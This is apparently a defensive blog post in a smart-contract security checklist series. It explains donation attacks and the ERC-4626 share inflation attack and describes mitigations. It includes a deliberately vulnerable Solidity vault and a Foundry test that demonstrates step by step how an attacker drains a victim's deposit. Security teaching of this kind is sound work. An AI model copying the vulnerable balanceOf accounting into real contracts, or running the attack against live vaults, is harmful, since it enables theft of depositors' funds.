Hey, everyone, Hans here! Welcome back to another deep dive into the Solodit Checklist. In this series, we move beyond surface-level security giving you actionable insights to fortify your smart contracts. Our goal? To empower you to level up your smart contract security game, one checklist item at a time.
Previously, we delved into Denial-of-Service (DoS) attacks (Part 1, Part 2). Now, we shift gears to a more subtle, yet potentially devastating, vulnerability: Donation Attacks.
For the best experience, open a tab with the Solodit checklist to refer to it.
In the world of decentralized finance (DeFi) and smart contracts, seemingly harmless actions can be weaponized. In this context, a Donation Attack exploits vulnerabilities in how a contract manages token balances. It often stems from an incorrect state due to an assumption of external factors.
The core of the vulnerability lies in the attacker's ability to manipulate the contract's state. Imagine an attacker cleverly "donating" tokens directly to a contract instead of using the protocol's interface. This seemingly altruistic act can severely disrupt the contract's logic and lead to unfair distributions of assets, potentially harming legitimate users. The attacker can manipulate the contract's state if the protocol does not account for such direct transfers and solely relies on the token balance for accounting.
Given the complexity of the issue, today, we're focusing on a single checklist item SOL-AM-DA-1: Does the protocol rely on balance
or balanceOf
instead of internal accounting?
{
"id": "SOL-AM-DA-1",
"category": "Donation Attack",
"question": "Does the protocol rely on `balance` or `balanceOf` instead of internal accounting?",
"description": "Attackers can manipulate the accounting by donating tokens.",
"remediation": "Implement internal accounting instead of relying on `balanceOf` natively.",
}
This item aims to prevent the Donation Attack vulnerability by ensuring the protocol does not rely on external functions like balanceOf
or balance
for accounting. This checklist item directly relates to internal accounting - a method of accurately tracking asset ownership and balances within a smart contract. Internal accounting utilizes dedicated state variables to store and manage balances, rather than relying on external functions like balanceOf
.
The vulnerability in external accounting is that anyone can send tokens directly to a contract, regardless of intended logic. If your contract uses token.balanceOf(address(this))
to calculate shares, withdrawals, or any critical value, an attacker can donate tokens, irrevocably compromising the system and potentially altering the intended outcome.
One of the most prominent and well-documented examples of a Donation Attack vulnerability is the ERC-4626 Share Inflation Attack.
What is ERC-4626?
ERC-4626 is a standardized interface for Tokenized Vaults. Think of a vault as a smart contract where users can deposit a specific underlying asset (like USDC or wrapped ETH (WETH)) and receive "shares" representing their portion of the total assets held by the vault. These shares typically accrue value as the vault generates yield (e.g., through lending or farming strategies). The standard aims to make it easier for aggregators and users to interact with different yield-bearing vaults.
The vulnerability: where donation meets ERC-4626
Many early or naive ERC-4626 implementations calculate the number of shares to mint upon deposit based on the current total amount of the underlying asset held by the vault contract. They often determine this using asset.balanceOf(address(this))
.
The core formula conceptually looks like this (simplified):shares_to_mint = deposit_amount * total_shares / total_assets_in_vault
Here,
total_assets_in_vault
is frequently calculated using asset.balanceOf(address(this))
. And this is where the Donation Attack vector opens up.
The Share Inflation Attack explained
This attack typically targets newly deployed ERC-4626 vaults, especially before any legitimate users have deposited funds. An attacker can manipulate the share price calculation to steal funds from the depositor(s).
Imagine a new WETH vault is created and the attack unfolds:
(deposit amount × total shares) ÷ total assets
. This becomes 5e17 ÷ (1e18 + 1), which will round down to 0 shares. As a result, the user gets 0 shares despite depositing 0.5 WETH!
The key trick is manipulating the ratio of shares to assets before real users deposit, creating a mathematical trap where deposits result in zero shares.
Why is this a Donation Attack?
The attacker can manipulate the share price by sending assets directly to the contract without proportionally increasing the totalSupply
of shares.
Mitigating the ERC-4626 Share Inflation Attack
The core issue revolved around handling the very first deposit and preventing manipulation when totalSupply
is zero or extremely small.
You can follow the detailed discussion on the OpenZeppelin Contracts GitHub Issue #3706. Several approaches were considered:
asset.balanceOf
and meticulously tracking deposits and withdrawals internally. This is the ideal scenario aligning with our checklist item but can add complexity and gas usage.The virtual offset method elegantly sidesteps the "zero totalSupply
" problem. As detailed brilliantly by @Amxx in this Gist.
Essentially, the vault pretends it already had some assets and shares from the very beginning. This anchors the share price calculation and makes it resilient to the donation manipulation targeting the initial state. OpenZeppelin's ERC-4626 implementation now incorporates this virtual offset mechanism, making it much safer out of the box.
Note: The novel virtual offset method is designed to address the Share Inflation Attack while maintaining the original ERC-4626 design principles. For projects outside the scope of the ERC-4626 standard, implementing internal balance tracking would likely be more straightforward.
Below is a simplified example of a vulnerable token vault.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TokenVault {
IERC20 public token;
mapping(address => uint256) public shares;
uint256 public totalSupply;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 _amount) external {
uint256 tokenBalance = token.balanceOf(address(this));
uint256 shareAmount = 0;
if (totalSupply == 0) {
shareAmount = _amount;
} else {
shareAmount = _amount * totalSupply / tokenBalance;
}
shares[msg.sender] = shares[msg.sender] + shareAmount;
totalSupply = totalSupply + shareAmount;
token.transferFrom(msg.sender, address(this), _amount);
}
function withdraw(uint256 _amount) external {
uint256 shareAmount = _amount;
require(shares[msg.sender] >= shareAmount, "Insufficient shares");
uint256 tokenBalance = token.balanceOf(address(this));
uint256 amountToWithdraw = shareAmount * tokenBalance / totalSupply;
shares[msg.sender] = shares[msg.sender] - shareAmount;
totalSupply = totalSupply - shareAmount;
token.transfer(msg.sender, amountToWithdraw);
}
}
The critical flaw: The deposit
and withdraw
functions use token.balanceOf(address(this))
to calculate share prices and withdrawal amounts. This opens the door to a Donation Attack by allowing any actor to manipulate a state variable of the smart contract.
Below is a Foundry test case demonstrating this attack to visualize its effects:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DonationAttackTest is Test {
TokenVault public vault;
TestToken public token;
address attacker = address(1);
address victim = address(2);
// Initial attacker tokens
uint256 constant ATTACKER_INITIAL_TOKENS = 10000;
// Small amount to initially deposit
uint256 constant ATTACKER_INITIAL_DEPOSIT = 1;
// Large amount to donate directly
uint256 constant ATTACKER_DONATION = 9999;
// Victim deposit amount
uint256 constant VICTIM_DEPOSIT = 1000;
function setUp() public {
token = new TestToken("Test Token", "TT");
vault = new TokenVault(IERC20(address(token)));
// Mint tokens for users
token.mint(attacker, ATTACKER_INITIAL_TOKENS);
token.mint(victim, VICTIM_DEPOSIT);
// Approve vault to spend tokens
vm.prank(attacker);
token.approve(address(vault), type(uint256).max);
vm.prank(victim);
token.approve(address(vault), type(uint256).max);
}
function testDonationAttack() public {
// ---- Step 1: Attacker deposits minimal amount ----
console.log("INITIAL STATE:");
console.log("Attacker token balance:", token.balanceOf(attacker));
vm.startPrank(attacker);
vault.deposit(ATTACKER_INITIAL_DEPOSIT);
console.log("Attacker deposits:", ATTACKER_INITIAL_DEPOSIT);
console.log("Attacker shares:", vault.shares(attacker));
// Validate initial deposit
assertEq(vault.shares(attacker), ATTACKER_INITIAL_DEPOSIT);
assertEq(vault.totalSupply(), ATTACKER_INITIAL_DEPOSIT);
assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_DEPOSIT);
// ---- Step 2: Attacker donates to inflate share price ----
token.transfer(address(vault), ATTACKER_DONATION);
vm.stopPrank();
console.log("\nAFTER DONATION:");
console.log("Vault token balance:", token.balanceOf(address(vault)));
// Vault now has 10000 tokens (1 + 9999)
assertEq(token.balanceOf(address(vault)), ATTACKER_INITIAL_TOKENS);
// ---- Step 3: Victim deposits and gets almost no shares ----
vm.prank(victim);
vault.deposit(VICTIM_DEPOSIT);
uint256 victimShares = vault.shares(victim);
console.log("\nVICTIM DEPOSITS:");
console.log("Victim deposits:", VICTIM_DEPOSIT);
console.log("Victim shares:", victimShares);
// Total tokens in vault
console.log("Total tokens in vault:", token.balanceOf(address(vault)));
// ---- Step 4: Attacker withdraws and gets profit ----
vm.prank(attacker);
vault.withdraw(ATTACKER_INITIAL_DEPOSIT);
uint256 attackerFinalBalance = token.balanceOf(attacker);
console.log("\nATTACKER WITHDRAWS:");
console.log("Attacker initial deposit:", ATTACKER_INITIAL_DEPOSIT);
console.log("Attacker final balance after withdrawal:", attackerFinalBalance);
// Since the attacker has 1 share out of 1 total shares (victim got 0),
// they should get all of the vault's balance including the victim's deposit
// (1 + 9999 + 1000) = 11000 tokens
// Which is much more than their initial 1 token deposit
assertTrue(attackerFinalBalance > ATTACKER_INITIAL_TOKENS);
// Calculate profit from the attack
uint256 profit = attackerFinalBalance - ATTACKER_INITIAL_TOKENS;
console.log("Attacker profit:", profit);
}
}
The takeaway? Be wary of your accounting methods. Internal accounting offers enhanced security and protection against Donation Attacks. Implement it in your smart contracts, track balances internally, and make your code robust against unforeseen token transfers.
While Donation Attacks might seem specific, the underlying principle applies across various smart contract security cases: never implicitly trust external data sources. Always verify and control the data your contract relies on to ensure it remains secure and functions as designed.
I hope this deep dive into Donation Attacks strengthens your understanding of smart contract security. Stay vigilant, keep learning, and focus on building secure, reliable code.